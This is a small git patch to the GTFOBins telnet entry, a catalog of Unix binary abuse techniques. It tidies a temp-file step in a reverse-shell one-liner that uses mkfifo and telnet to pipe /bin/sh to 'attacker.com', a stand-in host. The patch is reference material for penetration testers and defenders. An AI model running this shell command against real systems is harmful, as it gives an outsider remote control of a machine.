From 6b73dcf2839b236d37092058789b6de47e6b38b1 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 31 Jul 2018 12:39:58 +0200 Subject: [PATCH] Use the portable -u option for mktemp instead of removing the file Close #15. --- _gtfobins/telnet.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/_gtfobins/telnet.md b/_gtfobins/telnet.md index 35a53cd..b0065a0 100644 --- a/_gtfobins/telnet.md +++ b/_gtfobins/telnet.md @@ -13,8 +13,7 @@ functions: code: | RHOST=attacker.com RPORT=12345 - TF=$(mktemp) - rm $TF + TF=$(mktemp -u) mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF sudo-enabled: - description: BSD version only. Needs to be connected first.